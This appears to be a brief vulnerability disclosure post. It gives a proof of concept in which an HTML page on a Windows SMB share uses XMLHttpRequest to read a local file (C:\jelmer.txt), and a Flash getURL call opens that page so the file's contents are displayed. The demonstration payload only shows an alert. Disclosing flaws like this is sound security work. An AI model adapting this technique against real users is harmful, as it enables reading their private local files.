Just create a file called whatever.html on a windows SMB share with this content
--snip--
<script language="javascript"> var oXML=new XMLHttpRequest(); oXML.open("GET","file:///C:/jelmer.txt",false); oXML.send(null); alert(oXML.responseText); </script>
--snip--
Now create a flash file that opens file://///SOME_IP/SHARENAME/whatever.html
(I just created an empty flash file with a single action that contained the following line of actionscript : getURL ("file://///SOME_IP/SHARENAME/whatever.html", "_self"); )
and presto it will display the contents of c:\jelmer.txt